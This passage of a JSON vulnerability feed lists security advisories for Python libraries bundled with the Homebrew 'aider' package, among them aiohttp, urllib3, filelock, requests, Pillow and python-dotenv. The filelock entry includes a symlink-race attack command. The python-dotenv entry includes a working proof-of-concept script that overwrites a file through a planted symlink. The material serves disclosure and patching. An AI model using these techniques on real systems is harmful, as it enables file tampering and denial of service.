https://github.com/aio-libs/aiohttp/commit/8cfbe9abe5e11b84006a10f9bdf82bf607671dab","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-3rp8-rxj8-mvjw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128128"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13415"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13494"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/8c8906a19f64e52ef6a7d44d65217eb3c5af413f"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/8cfbe9abe5e11b84006a10f9bdf82bf607671dab"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-128129","published":"2026-11-17T09:52:37Z","modified":"2026-11-17T09:52:37Z","upstream":["GHSA-pw86-h8fm-j323","CVE-2026-128129"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP: Unbounded buffering of data received during an upgrade request","details":"### Summary\n\nWhile a request flagged as an upgrade (e.g. a WebSocket handshake) was being handled, all further data received on the connection was buffered with no size limit or flow control until the handler completed.\n\n### Impact\n\nAn attacker could cause unbounded memory use by streaming data behind an upgrade request to any handler that does not immediately accept or reject the upgrade.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/3d850ee9b92573c7e913821cbcb96005beb3f4df","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-pw86-h8fm-j323"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128129"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13501"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13511"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/3d850ee9b92573c7e913821cbcb96005beb3f4df"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/c207cadb257e0959b192ffca0548eca8c71eb96a"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-128132","published":"2026-11-17T09:52:37Z","modified":"2026-11-17T09:52:37Z","upstream":["GHSA-5rmc-48h2-hvcm","CVE-2026-128132"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP: WebSocket receive queue limits bypassed by small or compressed messages","details":"### Summary\n\nThe WebSocket reader continued parsing frames already received after the receive queue had paused the transport, and empty messages were not counted towards the queue size. With permessage-deflate, a single read of compressed frames could add many megabytes of decompressed messages to the queue.\n\n### Impact\n\nAn attacker could cause excessive memory use in a WebSocket server, or a malicious server against a client, by sending many small or compressed messages faster than the application consumes them.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/0ae507423f681161efa77d20052b4054397c7fb6","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-5rmc-48h2-hvcm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128132"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13393"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13545"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13546"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/0ae507423f681161efa77d20052b4054397c7fb6"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/5e54037933fa8422be5fa8a2002d118ed2d4e5e0"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/b62321b6fa264a89f4aca084ad60fc38a59ffa51"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-21441","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-38jv-5279-wg99","CVE-2026-21441","PYSEC-2026-1996"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.86.2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.3","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.6.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.6.3","key":"pkg:pypi/urllib3@2.6.3","resource":"urllib3"}]},"summary":"Decompression-bomb safeguards bypassed when following HTTP redirects (streaming API)","details":"### Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.6.2/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.\n\nurllib3 can perform decoding or decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption.\n\nHowever, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client (high CPU usage and large memory allocations for decompressed data; CWE-409).\n\n### Affected usages\n\nApplications and libraries using urllib3 version 2.6.2 and earlier to stream content from untrusted sources by setting `preload_content=False` when they do not disable redirects.\n\n\n### Remediation\n\nUpgrade to at least urllib3 v2.6.3 in which the library does not decode content of redirect responses when `preload_content=False`.\n\nIf upgrading is not immediately possible, disable [redirects](https://urllib3.readthedocs.io/en/2.6.2/user-guide.html#retrying-requests) by setting `redirect=False` for requests to untrusted source.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-38jv-5279-wg99"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-21441"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/8864ac407bba8607950025e0979c4c69bc7abc7b"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2026/01/msg00017.html"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-22701","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-qmgc-5h2g-mvrw","CVE-2026-22701","PYSEC-2026-1374"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.86.2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.20.3","resource":"filelock","resource_purl":"pkg:pypi/filelock@3.20.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"filelock","subject_version":"3.20.3","key":"pkg:pypi/filelock@3.20.3","resource":"filelock"}]},"summary":"filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock","details":"## Vulnerability Summary\n\n**Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock\n\n**Affected Component:** `filelock` package - `SoftFileLock` class\n**File:** `src/filelock/_soft.py` lines 17-27\n**CWE:** CWE-362, CWE-367, CWE-59\n\n---\n\n## Description\n\nA TOCTOU race condition vulnerability exists in the `SoftFileLock` implementation of the filelock package. An attacker with local filesystem access and permission to create symlinks can exploit a race condition between the permission validation and file creation to cause lock operations to fail or behave unexpectedly.\n\nThe vulnerability occurs in the `_acquire()` method between `raise_on_not_writable_file()` (permission check) and `os.open()` (file creation). During this race window, an attacker can create a symlink at the lock file path, potentially causing the lock to operate on an unintended target file or leading to denial of service.\n\n### Attack Scenario\n\n```\n1. Lock attempts to acquire on /tmp/app.lock\n2. Permission validation passes\n3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock\n4. os.open() tries to create lock file\n5. Lock operates on attacker-controlled target file or fails\n```\n\n---\n\n## Impact\n\n_What kind of vulnerability is it? Who is impacted?_\n\nThis is a **Time-of-Check-Time-of-Use (TOCTOU) race condition vulnerability** affecting any application using `SoftFileLock` for inter-process synchronization.\n\n**Affected Users:**\n- Applications using `filelock.SoftFileLock` directly\n- Applications using the fallback `FileLock` on systems without `fcntl` support (e.g., GraalPy)\n\n**Consequences:**\n- **Silent lock acquisition failure** - applications may not detect that exclusive resource access is not guaranteed\n- **Denial of Service** - attacker can prevent lock file creation by maintaining symlink\n- **Resource serialization failures** - multiple processes may acquire \"locks\" simultaneously\n- **Unintended file operations** - lock could operate on attacker-controlled files\n\n**CVSS v4.0 Score:** 5.6 (Medium)\n**Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N\n\n**Attack Requirements:**\n- Local filesystem access to the directory containing lock files\n- Permission to create symlinks (standard for regular unprivileged users on Unix/Linux)\n- Ability to time the symlink creation during the narrow race window\n\n---\n\n## Patches\n\n_Has the problem been patched? What versions should users upgrade to?_\n\nYes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag to prevent symlink following during lock file creation.\n\n**Patched Version:** Next release (commit: 255ed068bc85d1ef406e50a135e1459170dd1bf0)\n\n**Mitigation Details:**\n- The `O_NOFOLLOW` flag is added conditionally and gracefully degrades on platforms without support\n- On platforms with `O_NOFOLLOW` support (most modern systems): symlink attacks are completely prevented\n- On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window remains but is documented\n\n**Users should:**\n- Upgrade to the patched version when available\n- For critical deployments, consider using `UnixFileLock` or `WindowsFileLock` instead of the fallback `SoftFileLock`\n\n---\n\n## Workarounds\n\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nFor users unable to update immediately:\n\n1. **Avoid `SoftFileLock` in security-sensitive contexts** - use `UnixFileLock` or `WindowsFileLock` when available (these were already patched for CVE-2025-68146)\n\n2. **Restrict filesystem permissions** - prevent untrusted users from creating symlinks in lock file directories:\n   ```bash\n   chmod 700 /path/to/lock/directory\n   ```\n\n3. **Use process isolation** - isolate untrusted code from lock file paths to prevent symlink creation\n\n4. **Monitor lock operations** - implement application-level checks to verify lock acquisitions are successful before proceeding with critical operations\n\n---\n\n## References\n\n_Are there any links users can visit to find out more?_\n\n- **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in UnixFileLock/WindowsFileLock)\n- **CWE-362 (Concurrent Execution using Shared Resource):** https://cwe.mitre.org/data/definitions/362.html\n- **CWE-367 (Time-of-check Time-of-use Race Condition):** https://cwe.mitre.org/data/definitions/367.html\n- **CWE-59 (Improper Link Resolution Before File Access):** https://cwe.mitre.org/data/definitions/59.html\n- **O_NOFOLLOW documentation:** https://man7.org/linux/man-pages/man2/open.2.html\n- **GitHub Repository:** https://github.com/tox-dev/filelock\n\n---\n\n**Reported by:** George Tsigourakos (@tsigouris007)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H"}],"references":[{"type":"WEB","url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22701"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5"},{"type":"PACKAGE","url":"https://github.com/tox-dev/filelock"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-22815","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:12Z","upstream":["GHSA-w2fm-2cpv-w7v5","CVE-2026-22815","PYSEC-2026-2094"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"aiohttp allows unlimited trailer headers, leading to possible uncapped memory usage","details":"### Summary\n\nInsufficient restrictions in header/trailer handling could cause uncapped memory usage.\n\n### Impact\n\nAn application could cause memory exhaustion when receiving an attacker controlled request or response. A vulnerable web application could mitigate these risks with a typical reverse proxy configuration.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/0c2e9da51126238a421568eb7c5b53e5b5d17b36","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-w2fm-2cpv-w7v5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22815"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/0c2e9da51126238a421568eb7c5b53e5b5d17b36"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-25645","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:36Z","upstream":["GHSA-gc5v-m9x4-r6x2","CVE-2026-25645","PYSEC-2026-2275"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.33.0","resource":"requests","resource_purl":"pkg:pypi/requests@2.32.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.32.5","key":"pkg:pypi/requests@2.32.5","resource":"requests"}]},"summary":"Requests has Insecure Temp File Reuse in its extract_zipped_paths() utility function","details":"### Impact\nThe `requests.utils.extract_zipped_paths()` utility function uses a predictable filename when extracting files from zip archives into the system temporary directory. If the target file already exists, it is reused without validation. A local attacker with write access to the temp directory could pre-create a malicious file that would be loaded in place of the legitimate one.\n\n### Affected usages\n**Standard usage of the Requests library is not affected by this vulnerability.** Only applications that call `extract_zipped_paths()` directly are impacted.\n\n### Remediation\nUpgrade to at least Requests 2.33.0, where the library now extracts files to a non-deterministic location.\n\nIf developers are unable to upgrade, they can set `TMPDIR` in their environment to a directory with restricted write access.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/psf/requests/security/advisories/GHSA-gc5v-m9x4-r6x2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25645"},{"type":"WEB","url":"https://github.com/psf/requests/commit/66d21cb07bd6255b1280291c4fafb71803cdb3b7"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://github.com/psf/requests/releases/tag/v2.33.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-25990","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:24Z","upstream":["GHSA-cfh3-3jmp-rvhc","BIT-pillow-2026-25990","CVE-2026-25990","PYSEC-2026-2249"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"},{"fixed":"0.86.2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"12.1.1","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow affected by out-of-bounds write when loading PSD images","details":"### Impact\nAn out-of-bounds write may be triggered when loading a specially crafted PSD image. Pillow >= 10.3.0 users are affected.\n\n### Patches\nPillow 12.1.1 will be released shortly with a fix for this.\n\n### Workarounds\n`Image.open()` has a `formats` parameter that can be used to prevent PSD images from being opened.\n\n### References\nPillow 12.1.1 will add release notes at https://pillow.readthedocs.io/en/stable/releasenotes/index.html","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-cfh3-3jmp-rvhc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25990"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/pull/9427"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/54ba4db542ad3c7b918812a4e2d69c27735a3199"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/9000313cc5d4a31bdcdd6d7f0781101abab553aa"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://pillow.readthedocs.io/en/stable/releasenotes/12.1.1.html"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-28684","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:36Z","upstream":["GHSA-mf9w-mj56-hr94","CVE-2026-28684","PYSEC-2026-2270"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.2.2","resource":"python-dotenv","resource_purl":"pkg:pypi/python-dotenv@1.2.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"python-dotenv","subject_version":"1.2.1","key":"pkg:pypi/python-dotenv@1.2.1","resource":"python-dotenv"}]},"summary":"python-dotenv: Symlink following in set_key allows arbitrary file overwrite via cross-device rename fallback","details":"### Summary\n\n`set_key()` and `unset_key()` in python-dotenv follow symbolic links when rewriting `.env` files, allowing a local attacker to overwrite arbitrary files via a crafted symlink when a cross-device rename fallback is triggered.\n\n\n### Details\n\nThe `rewrite()` context manager in `dotenv/main.py` is used by both `set_key()` and `unset_key()` to safely modify `.env` files. It works by writing to a temporary file (created in the system's default temp directory, typically `/tmp`) and then using `shutil.move()` to replace the original file.\n\nWhen the `.env` path is a symbolic link and the temp directory resides on a different filesystem than the target (a common configuration on Linux systems using tmpfs for `/tmp`), the following sequence occurs:\n\n1. `shutil.move()` first attempts `os.rename()`, which fails with an `OSError` because atomic renames cannot cross device boundaries.\n2. On failure, `shutil.move()` falls back to `shutil.copy2()` followed by `os.unlink()`.\n3. `shutil.copy2()` calls `shutil.copyfile()` with `follow_symlinks=True` by default.\n4. This causes the content to be written to the **symlink target** rather than replacing the symlink itself.\n\nAn attacker who has write access to the directory containing a `.env` file can pre-place a symlink pointing to any file that the application process has write access to. When the application (or a privileged process such as a deploy script, Docker entrypoint, or CI pipeline) calls `set_key()` or `unset_key()`, the symlink target is overwritten with the new `.env` content.\n\nThis vulnerability does not require a race condition and is fully deterministic once the preconditions are met.\n\n### Impact\nThe primary impacts are to **integrity** and **availability**:\n\n- **File overwrite / destruction (DoS):** An attacker can cause an application or privileged process to corrupt or destroy configuration files, database configs, or other sensitive files it would not normally have access to modify.\n- **Integrity violation:** The target file's original content is replaced with `.env`-formatted content controlled by the attacker.\n- **Potential privilege escalation:** In scenarios where a privileged process (running as root or a service account) calls `set_key()`, the attacker can leverage this to write to files beyond their own access level.\n\nThe scope of impact depends on the application using python-dotenv and the privileges under which it runs.\n\n\n### Proof of Concept\n\nThe following script demonstrates the vulnerability. It requires `/tmp` and the user's home directory to reside on different devices (common on systemd-based Linux systems with tmpfs).\n\n```python\nimport os\nimport sys\nimport tempfile\nfrom dotenv import set_key\n\n# Pre-condition: /tmp must be on a different device than the target directory.\ntmp_dev = os.stat(\"/tmp\").st_dev\nhome_dev = os.stat(os.path.expanduser(\"~\")).st_dev\nassert tmp_dev != home_dev, \"Skipped: /tmp and ~ are on the same device (no cross-device move)\"\n\nwith tempfile.TemporaryDirectory(dir=os.path.expanduser(\"~\")) as workdir:\n    # File an attacker wants to overwrite\n    target = os.path.join(workdir, \"victim_config.txt\")\n    with open(target, \"w\") as f:\n        f.write(\"DB_PASSWORD=supersecret\\n\")\n\n    # Attacker pre-places a symlink at the path the application will use as .env\n    env_symlink = os.path.join(workdir, \".env\")\n    os.symlink(target, env_symlink)\n\n    before = open(target).read()\n\n    # Application writes a new key -- triggers the cross-device fallback\n    set_key(env_symlink, \"INJECTED\", \"attacker_value\")\n\n    after = open(target).read()\n\n    print(\"Before:\", repr(before))\n    print(\"After: \", repr(after))\n    print(\"Symlink target overwritten:\", target)\n```\n\n**Expected output:**\n```\nBefore: 'DB_PASSWORD=supersecret\\n'\nAfter:  \"DB_PASSWORD=supersecret\\nINJECTED='attacker_value'\\n\"\nSymlink target overwritten: /home/user/tmp806nut2g/victim_config.txt\n```\n\n### Remediation\n\nThe fix changes the `rewrite()` context manager in the following ways:\n\n1. **Symlinks are no longer followed by default.** When the `.env` path is a symlink, `rewrite()` now resolves it to the real path before proceeding, or (by default) operates on the symlink entry itself rather than the target.\n2. **A `follow_symlinks: bool = False` parameter** is added to `set_key()` and `unset_key()` for users who explicitly need the old behavior.\n3. **Temp files are written in the same directory** as the target `.env` file (instead of the system temp directory), eliminating the cross-device rename condition entirely.\n4. **`os.replace()` is used instead of `shutil.move()`**, providing atomic replacement without symlink-following fallback behavior.\n\nUsers are advised to upgrade to the patched version as soon as it is available on PyPI.\n\n### Timeline\n\n| Date             | Event                                                                                                                                                                 |\n| ------------ | ---------------------------------------------------------------------------------------------------- |\n| 2026-01-09  | Initial report received from Giorgos Tsigourakos regarding a separate, unrelated issue also located in `rewrite()` |\n| 2026-01-10   | Co-maintainer acknowledged report, requested clarification                                                         |\n| 2026-01-11    | Initial report assessed as not exploitable and closed                                                              |\n| 2026-02-24  | Reporter identified new, distinct cross-device symlink attack vector with deterministic exploitation               |\n| 2026-02-26  | Co-maintainer confirmed vulnerability and shared draft patch                                                       |\n| 2026-02-26  | Reporter validated fix with monkeypatched PoC, proposed CVSS                                                       |\n| 2026-03-01   | Patch merged to main                                                                                               |\n| 2026-03-01   | Patched version released to PyPI                                                                                   |\n| 2026-04-20   | Advisory published                                                                                                 |\n\n### Patches\n\nUpgrade to v.1.2.2 or use the patch from https://github.com/theskumar/python-dotenv/commit/790c5c02991100aa1bf41ee5330aca75edc51311.patch","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/theskumar/python-dotenv/security/advisories/GHSA-mf9w-mj56-hr94"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28684"},{"type":"WEB","url":"https://github.com/theskumar/python-dotenv/commit/790c5c02991100aa1bf41ee5330aca75edc51311"},{"type":"WEB","url":"https://github.com/theskumar/python-dotenv/commit/790c5c02991100aa1bf41ee5330aca75edc51311.patch"},{"type":"PACKAGE","url":"https://github.com/theskumar/python-dotenv"},{"type":"WEB","url":"https://github.com/theskumar/python-dotenv/releases/tag/v1.2.2"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-34513","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:11Z","upstream":["GHSA-hcc4-c3v8-rx92","CVE-2026-34513","PYSEC-2026-2095"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP Affected by Denial of Service (DoS) via Unbounded DNS Cache in TCPConnector","details":"### Summary\n\nAn unbounded DNS cache could result in excessive memory usage possibly resulting in a DoS situation.\n\n### Impact\n\nIf an application makes requests to a very large number of hosts, this could cause the DNS cache to continue growing and slowly use excessive amounts of memory.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/c4d77c3533122be353b8afca8e8675e3b4cbda98","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-hcc4-c3v8-rx92"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34513"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/c4d77c3533122be353b8afca8e8675e3b4cbda98"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-34514","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:11Z","upstream":["GHSA-2vrm-gr82-f7m5","CVE-2026-34514","PYSEC-2026-2096"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP has CRLF injection through multipart part content type header construction","details":"### Summary\n\nAn attacker who controls the `content_type` parameter in aiohttp could use this to inject extra headers or similar exploits.\n\n### Impact\n\nIf an application allows untrusted data to be used for the multipart `content_type` parameter when constructing a request, an attacker may be able to manipulate the request to send something other than what the developer intended.\n\n-----\n\nPatch: 